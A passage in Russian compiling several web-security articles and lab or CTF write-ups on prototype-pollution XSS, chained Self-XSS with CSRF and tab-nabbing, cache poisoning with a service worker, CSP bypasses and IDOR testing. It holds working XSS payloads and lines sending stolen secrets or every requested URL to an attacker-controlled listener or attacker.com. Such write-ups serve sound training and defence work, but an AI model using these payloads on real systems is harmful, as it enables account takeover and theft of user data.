__proto__[5]=payload&page=5

Добавим полезную нагрузку для исполнения уязвимости:

__proto__[5]=<img+src%3dx+onerror%3dalert(document.domain)>&page=5

Полезная нагрузка обрезается из-за фильтрации, последним шагом остается обойти её:

На этом этапе стоит вспомнить о ещё одном полезном свойстве прототипов — гаджетах, которые можно найти в разных библиотеках.

Передаю ещё раз привет моему кумиру @blackfan, и обращаюсь к его репозиторию

В описанном способе должно соблюдаться условие (должна быть установлена определенная настройка):

options.whiteList = options.whiteList || DEFAULT.whiteList;

Мы точно не знаем, какая настройка установлена в нашем случае, но благодаря загрязнению прототипа мы можем определить эту настройку и воспользоваться ею в наших целях.

Модернизируем полезную нагрузку:

__proto__[5]=<img+src=x+onerror%3Dalert(document.domain)>&__proto__[whiteList][img][0]=onerror&page=5

Сталкиваемся с тем, что она не отрабатывает:

Методом проб и ошибок удалось найти рабочий тэг и обработчик событий:

__proto__[5]=<style+onload%3Dalert(document.domain)>&__proto__[whiteList][style][0]=onload&page=5

И таким образом удается обойти валидацию и исполнить скрипт:

Инструменты

В основном при поиске уязвимостей я редко прибегаю к помощи сканеров, но есть несколько утилит, которым я отдаю предпочтение, когда захожу в тупик.

DOM Invader

Расширение практически сразу обнаруживает уязвимость в лабораторной, и от предложенного вектора можно развивать атаку:

Подробнее:

PortSwigger: DOM Invader

HackTricks: DOM Invader

Prototype Pollution Scanner

Полезным может быть также утилита pphack, принцип её работы, такой же как и у любого другого сканера, и вы сможете попробовать самостоятельно посмотреть его на практике.

Github: pphack

github BlackFan

И не забываем про отличный репозиторий, с которым я настоятельно рекомендую ознакомиться при эксплуатации Prototype Pollution. На Payloads all the Things вы этого не найдете :)

Когда речь заходит о прохождении лабораторных и личном развитии, то я всегда отдаю предпочтения сложным челленджам, подобным тому о котором сегодня пойдет речь. Прежде чем у меня получилось решить лабораторную, мне потребовалось подробнее изучить часть документации mozilla, подробнее изучить работу DOM-модели, вспомнить о свойствах и методах в HTML — это по даёт возможность мозгу взглянуть на привычные вещи под другим углом и узнать что-то новое.

В статье будут показаны принципы работы postMessage, onMessage, window.open, window.opener и многое другое.

Увидев название лабораторной, связанное с Self-XSS и Race Condition, я сначала не совсем понял, как это может работать совместно, но если при решении задачи действовать поэтапно, разбираясь в каждом нюансе, решение уже не кажется чем-то сложным, поэтому начнём с самого начала.

Self-XSS

При входе в приложение перед нами появляется панель аутентификации, и в ней есть уязвимое поле — username:

Первая уязвимость, которую мы встречаем — это Self-XSS.

Полезная нагрузка для XSS выглядит так:

Наша цель — захватить secret администратора.

Чтобы понять, как вывести этот элемент, заходим в инспектор и копируем CSS-селектор нашего secret:

Изменим полезную нагрузку для вывода secret:

Теперь необходимо доработать полезную нагрузку, чтобы она отправляла секрет на наш сервер, а данные кодировались и передавались без потерь.

Проверяем и получаем ответ на свой сервер:

Self-XSS работает как нужно, но возникает вопрос: каким образом мы можем внедрить полезную нагрузку, если она находится в имени пользователя?

Ведь, если username будет отличным от имени администратора, вход будет выполнен в совершенно другой аккаунт, и мы не украдём секрет.

Race Condition DOM Model

Для решения возникшей проблемы постараемся разобраться, что происходит при входе в профиль пользователя.

Включаем intercept и следим за тем, как рендерится DOM-модель.

1. При нажатии кнопки login происходит POST-запрос на роут /login и передача username и secret в JSON:

2. После входа в аккаунт происходит GET-запрос на /profile, который открывает наш профиль:

3. И дальше самое интересное: как можно заметить, username до сих пор не отобразился, а secret уже отрисован на странице. Следующий запрос который идёт на роут /api/me, который как раз таки и возвращает наш username по cookie:

Такое поведение происходит из-за того, что DOM-модель рендерится сверху вниз, и скрипт, который отвечает за «отрисовку» username, выполняется в самом конце:

Сеансовые cookie содержат внутри себя наш username и secret, но, к сожалению, мы не может их подделать или манипулировать ими из-за флага HttpOnly. Следовательно, вектор с cookie придётся отбросить..

В итоге получается, что нам необходимо создать эксплойт, который сначала запросит /profile с secret'ом администратора, а затем в отдельном окне осуществит запрос на роут /login с полем username, содержащим полезную нагрузку. Если это будет происходить достаточно быстро, то сеансовые cookie будут затёрты, и запрос на /api/me подтянет username, который содержит полезную нагрузку.

CSRF

Для начала реализуем рабочую CSRF, которая будет передавать необходимые нам данные в JSON. В лабораторной не проверяется Content-Type, поэтому можно передать JSON с помощью form.

Сгенерированный PoC в Burp не срабатывает, так как в конце body добавляется знак =

Обратившись к Hacktricks, я нашел способ передать в запросе JSON:

Редактируем эксплойт:

 
  
    
   
  
  history.pushState('', '', '/');
  document.forms[0].submit();
  
 

Получаем успешную подделку запроса:

Для успешной атаки нам необходимо несколько условностей:

1. Первым делом должна открыться страница /profile, где будет отрендерен secret администратора

2. Вторым по порядку должен быть осуществлен запрос на /login с полезной нагрузкой для XSS

3. После этого должен быть выполнен запроc на /api/me с другим сеансом, который вернёт на страницу полезную нагрузку из другого аккаунта

Прежде чем у меня получилось реализовать данную атаку, мне пришлось вспомнить немного теории.

window.opener

Существует такая уязвимость как ReverseTabNabbing

ReverseTabNabbing — это вид атаки, который используется для перехвата браузера пользователя после того, как он кликает по внешней ссылке на сайте. Эта уязвимость основана на использовании свойства target="_ blank" при создании HTML-ссылок, которое открывает новую вкладку или окно браузера.

Когда пользователь кликает на такую ссылку, атакующий сайт может исполнять JavaScript-код, который изменяет адрес (URL) предыдущей страницы (станицы, откуда была открыта ссылка) на фишинговый сайт посредством объекта window.opener. Если пользователь затем вернется на предыдущую вкладку, он увидит поддельную страницу вместо ожидаемой, что может привести к различным мошенническим схемам (например, к краже паролей).

Для защиты от ReverseTabNabbing при создании ссылок с атрибутом target="_ blank" нужно также добавлять атрибут rel="noopener noreferrer", который предотвратит перехват предыдущей вкладки через JavaScript..

Посмотрим, как это выглядит на практике. Cоздаем три страницы:

vulnerable.html:

Victim Site
Controlled by wr3dmast3r

malicious.html:

 
 
 window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
 
 

malicious_redir.html:

wr3dmast3r attacked you

После создания страниц поднимем простой HTTP-сервер (например, с помощью модуля Python: pythom3 -m http.server), а затем откроем vulnerable.html. После щелчка по ссылке обращаем внимание, как изменится исходный URL веб-страницы (URL страницы, откуда был осуществлён переход по вредоносной ссылке).

Открытая в начале страница сменилась на подконтрольную нам. Таким образом на простом примере мы рассмотрели реализацию данной атаки.

Self-XSS + CSRF + ReverseTabNabbing + Race Condition

Теперь необходимо собрать все вводные и воспользоваться изученной информацией для решения лабораторной.

index.html:

 PoC
 
 


 PoC
 
  const csrf = window.open("/csrf.html")
  window.onmessage = () => {
  window.location = "https://url/profile"
  }
 

Это будет нашей страницей, куда мы перенаправим пользователя.

Рядом создадим ещё один HTML-документ:

csrf.html:

PoC


 CSRF
  
   
  
 
  window.opener.postMessage({}, "*")
  form.submit();
 

Одинарные кавычки внутри полезной нагрузки для Self-XSS необходимо заменить на &apos; для соблюдения корректного синтаксиса.

Постараюсь подробнее остановиться на некоторых деталях нашего эксплойта:

Начнём с postMessage:

window.opener.postMessage({}, "*")

Эта строка кода используется для отправки сообщения родительскому окну (опенеру), которое открыло текущее окно или вкладку, через механизм оконного сообщения HTML5. Метод postMessage позволяет безопасно осуществлять междоменное общение между окнами; в данном случае отправляется пустой объект {}, и в качестве второго параметра указывается «*», что позволяет принимать это сообщение любому origin.

Однако использование звёздочки («*») в реальных приложениях потенциально небезопасно, так как это позволяет любому сайту получить сообщение; по возможности следует указывать конкретный origin, которому вы доверяете.

onMessage:

window.onmessage = () => { window.location = "https://url/profile" }

Данный участок кода назначает обработчик события для onmessage на текущее окно (или вкладку). Событие onmessage возникает, когда текущее окно получает сообщение через механизм postMessage. В данном случае функция обработчика немедленно перенаправляет браузер на новый URL, указанный в строке «https://url/profile». Это означает, что как только сообщение будет получено, браузер переходит на страницу профиля по заданному адресу.

Как это работает совместно:

Когда форма отправляется (form.submit()), происходит отправка данных формы на сервер. Перед этим, window.opener.postMessage({}, "*") отправляет сигнал в родительское окно о том, что форма была отправлена. Родительское окно в своих скриптах слушает onmessage, и выполняет заложенного в него действие.

Пробуем атаковать себя.

Создаем учетную запись с любым username и любым secret:

Закрываем страницу и переходим по ссылке на наш эксплойт, точнее на index.html.

У нас открылось дополнительное окно, которое свидетельствует об успешном входе в аккаунт и корректной отработке CSRF:

index.html в это время превратился в ссылку на /profile:

Наш сервер получил запрос, и это и есть созданный нами secret:

Важно уточнить, что для успешного осуществления атаки критически важен порядок действий: сначала должен быть открыт профиль, и только после этого должна произойти отправка формы.

 
  window.opener.postMessage({}, "*")
  form.submit();
 

Дело остаётся за малым: размещаем эксплойт на нашем сервере и отправляем ссылку администратору.

Очень приятно было представить решение на лабораторную которую решило такое маленькое количество человек :)

Я часто встречаю XSS, которые не дают возможности использовать что-то кроме вызова алерта, или какие-нибудь Self-XSS без возможности эксплуатации. Однако, если приложить достаточно усилий, то можно докрутить даже многие Self-XSS, используя их в комбинации с другими уязвимостями, которые на первый взгляд кажутся неэксплуатируемыми.

В сегодняшней статье я постарался раскрыть два интересных вектора эксплуатации таких XSS: в первом случае мы сталкиваемся с HTML-инъекцией и Self-XSS, а во втором случае эксплуатируем XSS с помощью отравления кэша и Service-Worker.

Self-XSS + HTML Injection + CSRF

Рассмотрим уязвимое приложение. Перед нами страница, которая представляет собой блог, и нам доступна функциональность авторизации в приложении:

После входа в учетную запись нам открывается страница редактирования поста для главной страницы:

После создания пост сразу отображается в нашем блоге:

Во время редактирования поста я заметил, что ввод в поле tags сразу рефлектится на странице:

Наш ввод попадает в тег сценария, и мы можем попробовать выйти из этого querySelector и выполнить любой js, для этого необходимо закрыть селектор:

"-alert(1)-"

По условию задачи, Self-XSS должна вывести пользователю его никнейм при открытии страницы, поэтому изменим полезную нагрузку под условие.
Нам необходимо получить элемент из html-страницы, который содержит никнейм пользователя. Название класса можно получить, воспользовавшись Inpector'oм относительно поля с нашим никнеймом:

Получаем все элементы этого класса:

getElementsByClassName

"-alert(document.getElementsByClassName("navbar-brand"))-"

Так как это массив, получаем его первый элемент:

"-alert(document.getElementsByClassName("navbar-brand")[0])-"

Преобразуем полученный элемент в текст с помощью innerText для корректного отображения:

innerText

"-alert(document.getElementsByClassName("navbar-brand")[0].innerText)-"

Так как это Self-XSS доступна только во время редактирования, нам необходимо найти еще одну уязвимость, которая позволит добиться импакта. Обычно такие XSS можно использовать в сочетании с CSRF, но в данной лабораторной существует ограничение в виде csrf-токена, который не позволит подделать запрос.

HTML-Injection

После сохранения поста на странице блога кроме полезной нагрузки также отображается сохраненный в поле content тэг button:

CSRF-токен, который используется в последующем запросе, такой же, как и при написании комментария, поэтому я попробовал связать добавленную мной кнопку с формой комментариев:

Click Me

После нажатия на внедренную кнопку можно увидеть, что запрос на /edit выполняется, но появляется предупреждение о пустых полях content и tags:

Для того чтобы заполнить эти поля, я использую теги input, связываю их со своей кнопкой и добавляю полезную нагрузку для Self-XSS:

Click Me

Полезная нагрузка отображается на странице:

После нажатия на кнопку мы можем увидеть подтверждение того, что Self-XSS внедрилась, и пост отредактировался:

Теперь, если зайти в редактирование поста, полезная нагрузка срабатывает:

Казалось бы, этого достаточно, но до сих пор от пользователя требуется несколько действий: нажать кнопку, перейти на страницу редактирования.

Необходимо попробовать найти более универсальный способ эксплуатации.

Для поиска решения посмотрим js, который работает на странице:

Если кто-то получает доступ по ссылке и добавляет GET-параметр share, то selector выберет элемент из DOM, у которого есть кнопка share-button, и он нажмет эту кнопку, что позволит нам убрать одно действие из эксплуатации.

Отредактируем нашу полезную нагрузку HTML-инъекции:

Click Me

После перехода по ссылке на блог с полезной нагрузкой ничего не происходит, но если мы добавим в запрос GET-параметр share со значением 1, то полезная нагрузка успешно отработает:

https://challenge-1222.intigriti.io/blog/94e7b406-4620-49fe-b5fb-eac35f737b3f?share=1

Осталось убрать последнее действие: добавить редирект пользователя на /edit после добавления полезной нагрузки.

Перенаправление на странице можно добавить с помощью html:

Итоговая полезная нагрузка выглядит так:

Click Me

Полезная нагрузка успешно отрабатывает, и Self-XSS выполняется в одно действие:

CSP Bypass

Существует ещё один вариант решения задачи с помощью HTML-инъекции и проблеме в CSP.

Обратимся к ресурсуCSP-evaluatorдля проверки директив:

Отсюда можно понять, что мы можем устанавливать базовый url адрес для загрузки внешних js-скриптов.

Разместим у себя на сервере js-файл с полезной нагрузкой по пути static/js/bootstrap.bundle.min.js, так какданный путь раскрывается в коде страницы. Содержимое js-файла будет таким:

alert(document.getElementsByClassName("navbar-brand")[0].innerText)

Полезная нагрузка для объявления base-uri выглядит следующим образом, ее нужно добавить в поле Content при редактировании блога:

После открытия ссылки Self-XSS сразу отрабатывает:

XSS + WebCachePoisoning + File Upload + service worker

Лабораторная состоит из двух частей: сама лабораторная и API, на который нужно будет отправить ссылку с полезной нагрузкой:

https://api.challenge-1122.intigriti.io/admin?url=

Изначально регистрация недоступна из-за отсутствия возможности ввести username, но данное ограничение обходится, если удалить readonly="" из тэга input для поля username, после чего мы можем успешно зарегистрироваться:

В приложении доступны функции добавления заметок и загрузки аватара:

Можно заметить, что аватар грузится на сторонний домен, и это CDN:

Если обратиться к несуществующему изображению на этом домене, то мы получаем ошибку, и в запросе с ошибкой можно обратить внимание на важную деталь: содержимое хэдера X-Cache:

Из полученной информации можно понять, что на CDN используется кэширование ответов, и первое, что приходит в голову, — это попробовать найти XSS в этом запросе.

Так как мы контролируем название файла, которое рефлектится в ответе, попробуем добавить в название полезную нагрузку:

Но, к сожалению, при попытке воспользоваться уязвимостью в браузере, мы сталкиваемся с тем, что спецсимволы кодируются при помощью URL, что мешает внедрению скрипта:

Ответ попадает в кэш-сервера при выполнении одного условия, — это обязательное наличие расширения в конце названия загружаемого изображения (.png, .jpg и другие), обойти которое можно, добавив полезную нагрузку до расширения:

WebCachePoisoning + Bypass Url Encoding

Полезная нагрузка попадает в ответ от сервера, и затем ответ кэшируется. Необходимо сначала закэшировать ответ с исходной полезной нагрузкой.

При следующем переходе по URL, полезная нагрузка отработает, и кодирование в URL, которое мешает эксплуатации через браузер, не сработает:

File Upload + Service Worker

Функциональность загрузки аватара также имеет уязвимость: существует возможность загрузки файла с любым расширением.

Для последующей эксплуатации вместо изображения я загружаю js-файл с полезной нагрузкой:

Изменим полезную нагрузку и отправим запрос для кэширования ответа, содержащего нагрузку и путь к файлу, который мы загрузили как аватар:

https://cdn.challenge-1122.intigriti.io/uploads/subscribe.png?.png

При открытии ссылки кэшированный ответ отрабатывает и XSS исполняется:

Service Worker

Service Worker — это скрипт, который регистрируется браузером и работает отдельно от основного потока веб-приложения. Он позволяет перехватывать события сети (такие как запросы и ответы), управлять кэшированием и обеспечивать оффлайн функциональность.

При эксплуатации XSS, Service Worker может быть использован для внедрения вредоносного кода и перехвата трафика. Мы можем изменить зарегистрированный Service Worker, чтобы перехватывать и модифицировать сетевые запросы. Это может привести, например, к утечке конфиденциальной информации.

Ниже представлен вариант Service-Worker, который прослушивает события fetch. При срабатывании события fetch выполняется асинхронный вызов уже другой функции fetch, осуществляющий GET-запрос на подконтрольный нам сервер:

self.addEventListener('fetch', (event) => {
    fetch(`https://listener/qwe?${event.request.url}`)
});

В нашем случае код просто пересылает запрос на сервер с добавлением параметра "qwe" и значением URL-запроса.

Подробнее про service-worker

Загружаем Service Worker:

Отправляем полезную нагрузку для загрузки Service-Worker на страницу, ответ от сервера должен обязательно попасть в кэш:

navigator.serviceWorker.register("avatar-wr3d.js").then(r=>{location='https://api.challenge-1122.intigriti.io'});.png

Копируем URL-адрес с внедренной XSS и отправляем админу:

https://cdn.challenge-1122.intigriti.io/uploads/subscribe.png?navigator.serviceWorker.register("avatar-wr3d.js").then(r=>{location='https://api.challenge-1122.intigriti.io'});11111.png

Прилетает запрос:

По ссылке находится хинт:

Кроме этого оказалось, что у приложения существует тестовый стенд, который можно использовать для создания идентификатора авторизации администратора

https://staging.challenge-1122.intigriti.io/signup

Мы знаем username администратора из запроса, который пришел нам на сервер при эксплуатации XSS.

Пробуем зарегистрироваться с идентификатором администратора и использовать его JWT-токен для авторизации на основном домене.

Это срабатывает. Теперь осталось взять JWT, авторизоваться на основном домене от имени администратора и получить заключительный флаг, находится в аватарке:

Что такое CSP?

Content-Security-Policy или CSP — это встроенная технология браузера, которая помогает защитить от атак, таких как межсайтовый скриптинг (XSS) . Она перечисляет и описывает пути и источники, из которых браузер может безопасно загружать ресурсы. Ресурсы могут включать изображения, фреймы, JavaScript и многое другое.

Политика CSP может предписать браузерам выполнять код только из определенных источников, тем самым обеспечивая дополнительный уровень защиты от XSS-атак.

Однако существуют некоторые обстоятельства, при которых политику CSP можно обойти. В этой статье будут рассмотрены примеры, как можно обойти политику CSP, например, с помощью инъекции и использования дополнительной директивы.

Как это работает?

Обнаружить политику безопасного контента можно через заголовок ответа:

Content-Security-Policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

Реализовано через мета-тег:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Давайте взглянем на простой пример использования CSP. Запрос с полезной нагрузкой XSS:

GET /lab/id/?search=search<script>alert(1)</script> HTTP/1.1
Host: 127.0.0.1

И ответ с полезной нагрузкой вернулся дословно и js исполнился на странице:

Теперь давайте попробуем митигировать уязвимость с помощью CSP. В рамках исправления мы добавляем заголовок ответа Content-Security-Policy в качестве защиты от любых XSS-уязвимостей на нашем сайте. Также вносим example.com в белый список.

Так выглядит ответ в случае настроенного CSP, и скрипт не исполняется:

Теперь мы видим, что благодаря CSP полезная нагрузка больше не выполняется. Также при блокировке исполнения скрипта можно обратить внимание на оповещение в консоли браузера:

Определение ресурсов

CSP работает так, что, ограничивает источники, из которых может быть загружен динамический и статический контент. Он может дополнительно ограничивать определенные аспекты активного контента, такие как выполнение встроенного JavaScript и использование файлов eval().

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Можно проверить настройку CSP на безопасность с помощью этого ресурса:

В чем смысл директив?

script-src

Директива указывает, откуда можно загружать JavaScript-код. Это включает не только прямые загрузки с веб-страниц, но и код, который встраивается в элементы HTML (например, в обработчики событий) или загружается из таблиц стилей XSLT.

Разрешить загрузку JavaScript-файлов только с текущего домена:

script-src 'self';

Разрешить загрузку JavaScript-файлов только с домена example.com:

script-src https://example.com;

Разрешить загрузку JavaScript-файлов с домена example.com и его поддоменов:

script-src https://example.com https://*.example.com/;

Разрешить загрузку JavaScript-файлов с домена example.com и домена google.com:

script-src https://example.com https://google.com;

Данные примеры отражают способы настройки большинства директив, и применимы к другим директивам

default-src

Директива определяет политику загрузки ресурсов по умолчанию. Если в заголовке CSP отсутствуют директивы загрузки, браузер по умолчанию следует этой директиве.

Разрешить загрузку всех ресурсов по умолчанию:

default-src *;

Запретить загрузку всех ресурсов по умолчанию:

default-src 'none';

child-src

Директива определяет разрешенные ресурсы для веб-воркеров и содержимого встраиваемых фреймов. Работает примерно также как и script-src.

connect-src

Директива ограничивает URL-адреса, которые могут быть загружены с использованием таких интерфейсов, как fetch, websocket и XMLHttpRequest.

frame-src

Директива frame-src ограничивает URL-адреса фреймов, которые могут быть вызваны.

frame-ancestors

Директива указывает источники, которые могут встраивать текущую страницу. Эта директива применяется к элементам <frame>, <iframe>, <object>, <embed> или <applet>. Эту директиву нельзя использовать в тегах <html> и <head>, и она применяется только к не-HTML-ресурсам.

img-src

Определяет разрешенные источники для загрузки изображений на веб-странице.

Источники

wildcard *

Данный символ в настройке директивы используется, чтобы указать, что разрешено любое значение.

self

Определяет, что загрузка ресурсов на странице разрешена с того же домена.

data

Разрешает загрузку ресурсов через схему data (например, Base64-кодированных изображений).

none

Запрещает загрузку чего-либо из любого источника.

unsafe-eval

Разрешает браузеру выполнять код, который был получен из строки. Это может быть опасно, поскольку позволяет внедрить в веб-страницу вредоносный код.

unsafe-hashes

Позволяет браузеру загружать и выполнять только те встроенные скрипты и стили, у которых есть хэш, который соответствует хэшу, указанному в политике. Обработчики событий, такие как onclick или onmouseover, не будут загружены и выполнены, даже если у них есть хэш.

unsafe-inline

Разрешает использование встроенных ресурсов, таких как встроенные элементы, URL-адреса javascript:, встроенные обработчики событий и встроенные элементы. Опять же, это не рекомендуется по соображениям безопасности.

nonce

Белый список для определенных встроенных скриптов, использующих криптографический nonce (случайное число, используемое один раз). Сервер должен генерировать уникальное значение nonce каждый раз, когда он передает политику.

strict-dynamic

Разрешить загрузку скриптов из источников, которые уже были проверены и признаны доверенными.

Если вам нужно изучить специфичные настройки CSP и директивы подробнее, то можно воспользоваться данным ресурсом:

Как настроить CSP?

Для настройки CSP в конфигурации сервера вам нужно добавить политику CSP в заголовки HTTP-ответов для вашего веб-сайта.

Общие рекомендации по настройке CSP:

1. Определите директивы и ресурсы для вашей политики, используйте ограничения по мере их необходимости.
2. Используйте политику CSP вместе с другими мерами защиты, например nonce и HTTP Strict Transport Security.
3. Добавьте политику CSP в заголовки HTTP-ответов для вашего веб-сайта.
4. Проверьте, работает ли политика CSP правильно.

Данный пример будет загружать и выполнять только скрипты и стили из определенных доменов (example.com):

Content-Security-Policy: script-src https://example.com; style-src https://example.com;

Apache

Как добавить политику CSP в заголовки HTTP-ответов для веб-сервера Apache:

<VirtualHost *:80>
ServerName example.com
DocumentRoot /var/www/example.com
Header always set Content-Security-Policy "script-src https://example.com; style-src https://example.com;"
</VirtualHost>

Для конкретной страницы:

<Location /about>
Header always set Content-Security-Policy "script-src 'self'; style-src 'self';"
</Location>
</VirtualHost>

Nginx

Как добавить политику CSP в заголовки HTTP-ответов для веб-сервера Nginx:

server {
  listen 80;
  server_name example.com;
  root /var/www/example.com;

  add_header Content-Security-Policy "script-src https://example.com; style-src https://example.com;" always;
}

Для конкретной страницы:

location /about {
add_header Content-Security-Policy "script-src https://example.com; style-src https://example.com;" always;
}

Рекомендую сначала применить  заголовок Content-Security-Policy-Report-Only. Этот заголовок не будет блокировать нарушения, а будет только сообщать о них.

Это позволит сначала определить заголовок CSP, а затем спокойно просматривать веб-сайт и обрабатывать нарушения CSP, не влияя на функциональность веб-сайта. В качестве отправной точки можно использовать следующую настройку:

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri website.nl/api/post/csp-violations;

Каждый раз, когда запрошенный ресурс будет нарушать CSP, браузер будет отправлять POST-запрос на URL-адрес, указанный для отчета и будет включать подробную информацию о нарушении. Таким образом, вы сможете узнать, когда CSP излишне блокирует ресурсы, а также узнаете, когда кто-то пытается внедрить что-то на ваш сайт.

Если у вас уже есть хорошее представление о том, как должен выглядеть ваш CSP, его также можно создать с помощью этого сайта.

Уязвимые настройки

Вы можете использовать данный код для проверки политик CSP.
Передаю привет моим коллегам SidneyJob иcyrus_0x00, спасибо за помощь!

'unsafe-inline'

CSP:

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Уязвимость в данной политике заключается в использовании значения 'unsafe inline' в качестве значения директивы script-src.

Paylod:

"/><script>alert(1);</script>

'data'

CSP:

Content-Security-Policy: script-src 'self' data:; object-src 'none'

Можно внедрить вредоносный код, используя тег script с атрибутом src со значением, указывающим на вредоносный ресурс, который начинается с data:.

Payload:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

Wildcard

CSP:

Content-Security-Policy: script-src *; object-src 'none'

Неправильно настроенная политика CSP из-за использования знака "*" в директиве script-src.

Payload:

<script src="http://attacker.com/j.js"></script>

File Upload + 'self'

CSP:

Content-Security-Policy: script-src 'self'; object-src 'none' ;

Мы видим, что object-src установлен на none, но эта данная директива все равно может быть обойдена для выполнения XSS-атаки.

В случаях если приложение позволяет пользователям загружать на хост любые типы файлов. Атакующий может загрузить любой вредоносный скрипт и вызвать его в любом теге.

Payload:

"/>'><script src="/uploads/payload.js"></script>

Third Party Endpoints + JSONP

CSP:

Content-Security-Policy: script-src 'self' https://www.google.com; object-src 'none';

В случаях, когда script-src установлен на self и определенный домен находится в белом списке, его можно обойти с помощью JSONP. Конечные точки JSONP допускают небезопасные методы обратного вызова, которые позволяют злоумышленнику выполнять XSS-атаки.

Полезные нагрузки для обхода

Payload:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>

Third Party Endpoints + 'unsafe-eval'

CSP:

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Payload:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>

'object-src'

CSP:

Content-Security-Policy: default-src 'self' data: *; connect-src 'self'; script-src 'self' ;

В случаях когда отсутствует директива object-src, остаётся возможность подгрузить объект с другого ресурса и скрипт исполнится.

Payload:

<object type="text/html" data="http://attacker/payload.html"></object>

Практические пример из лабораторной

Reflected XSS protected by CSP, with CSP bypass

В лабораторной нас встречает функциональность поиска по сайту:

Используем полезную нагрузку, для проверки на уязвимость XSS:

<script>alert(1)</script>

Полезная нагрузка внедряется, но CSP мешает выполнению скрипта, и необходимо определить как именно можно обойти данное ограничение.

Посмотрим как выглядит настройка CSP и определим, какие у нас есть ограничения:

Content-Security-Policy: default-src 'self'; object-src 'none';script-src 'self'; style-src 'self'; report-uri /csp-report?token=

Можно заметить, что в настройке CSP есть параметр token, и можно попробовать передать инъекцию с его помощью, добавив параметр в URL.

Так как сервер добавляет параметр token в ответ на запрос, у нас есть возможность добавить новую директиву CSP, чтобы попробовать обойти ограничения.

Исполнение нашего скрипта было заблокировано настройкой script-src 'self'.

<script>alert(1)</script>&token=qweqwe

Попробуем добавить новую настройку CSP, чтобы исполнялись inline-скрипты.

default-src 'self' работает так что применяются самые строгие ограничения

Изменим полезную нагрузку и попробуем добавить вторую директиву script-src:

<script>alert(1)</script>&token=;script-src 'unsafe-inline'

Но из-за того, что одна директива CSP может встречаться только один раз, скрипт не отрабатывает, в данном случае можно воспользоваться данным ресурсом, чтобы узнать какие бывают дополнительные директивы у CSP

Здесь можно найти директиву script-src-elem, которая работает примерно также как и script-src

В результате мы можем сформировать итоговую полезную нагрузку:

<script>alert(1)</script>&token=; script-src-elem 'unsafe-inline'

Рекомендации по устранению

Использовать CSP с директивой nonce для всех скриптов. Это предотвратит загрузку скриптов из внешних источников, которые не были предварительно подписаны.

Использовать CSP с директивой strict-dynamic для всех скриптов. Это предотвратит загрузку новых скриптов в DOM, которые не были предварительно включены в белый список.

Content-Security-Policy: default-src 'self'; object-src 'none';script-src 'self' nonce-<nonce-value>; style-src 'self'; report-uri /csp-report

Использовать CSP с директивой frame-ancestors для ограничения источников, из которых могут быть загружены iframe-элементы. Это предотвратит загрузку iframe-элементов из внешних источников, которые могут быть использованы для обхода CSP.

Content-Security-Policy: default-src 'self'; object-src 'none';script-src 'self' nonce-<nonce-value> strict-dynamic; style-src 'self'; report-uri /csp-report

В дополнение к этим рекомендациям, важно также правильно обрабатывать вводимые пользователем данные. Это включает в себя фильтрацию всех данных из форм, заголовков HTTP и других источников.

Немного юмора от моих коллег

Уязвимости IDOR (Insecure direct object references) и Broken Access Control (BAC) являются одними из самых опасных уязвимостей в веб-приложениях. Они позволяют злоумышленнику получить доступ к конфиденциальным данным или функциям, к которым он не должен иметь доступа.

Что такое BAC и IDOR?

Все прекрасно знают о том, что авторизация предоставляет пользователю права на выполнение определённых действий, а также процесс проверки (подтверждения) данных прав при попытке выполнения этих действий. Авторизация не эквивалентна аутентификации. После успешной аутентификации авторизация определяет, к каким функциям и данным может получить доступ пользователь, обеспечивая при этом надлежащее разграничение прав доступа.

Именно поэтому веб-приложению необходимы средства контроля доступа, позволяющие его пользователям использовать веб-приложение с различными привилегиями. Контроль доступа — это применение ограничений на то, кто (или что) может выполнять различные функции и получать доступ к запрошенным ресурсам. Нарушенный контроль доступа (Broken Access Control) — часто встречающаяся уязвимость в системе безопасности веб-приложений. Существуют несколько типов контроля доступа, а вместе с ними и уязвимостей, связанных с их нарушением:

1. Вертикальный контроль доступа;
2. Горизонтальный контроль доступа;
3. Контекстно-зависимый контроль доступа.

Про горизонтальный контроль доступа мы поговорим подробнее.

IDOR, или небезопасные прямые ссылки на объекты — это тип уязвимости контроля доступа, которая возникает, когда приложение использует вводимые пользователем данные для прямого доступа к объектам. Термин IDOR стал популяризирован после его появления в первой десятке OWASP 2007 года. Однако это лишь один пример многих ошибок реализации контроля доступа, которые могут привести к его обходу. Уязвимости IDOR чаще всего связаны с горизонтальным повышением привилегий, но они также могут привести к вертикальному повышению привилегий, получив, например, учетные данные администратора путём эксплуатации уязвимой конечной точки.

В этой статье мы рассмотрим принцип работы уязвимостей IDOR и Broken Access Control, а также методы их обнаружения и автоматизации с помощью Autorize.

Как искать

Для автоматизации поиска уязвимости IDOR нам необходимо наличие двух аккаунтов.

Создаём два аккаунта, воспользовавшись расширением для Firefox под названием Multi-Account-Container, которое позволяет нам открывать несколько сессий в одном окне браузера:

Советую использовать данное расширение, так как оно очень часто может помочь в ситуациях, когда необходим режим инкогнито или другой браузер для проверки каких-либо уязвимостей.

Дополнительно устанавливаем расширение под названием Autorize для Burp Suite:

Добавляем сессионный идентификатор атакующего

Первое, что вам нужно сделать — это добавить сессионный идентификатор второго пользователя или злоумышленника в Autorize.

Если вы не уверены, какие заголовки вам точно необходимы, то можно скопировать большую часть запроса и использовать его, ведь лучше копировать больше заголовков, чем меньше:

Теперь просто копируем заголовки запроса атакующего и вставляем в Autorize:

Больше второй аккаунт нам не понадобится, и мы можем переходить к поиску нарушений контроля доступа, но сначала я объясню, как работает Autorize:

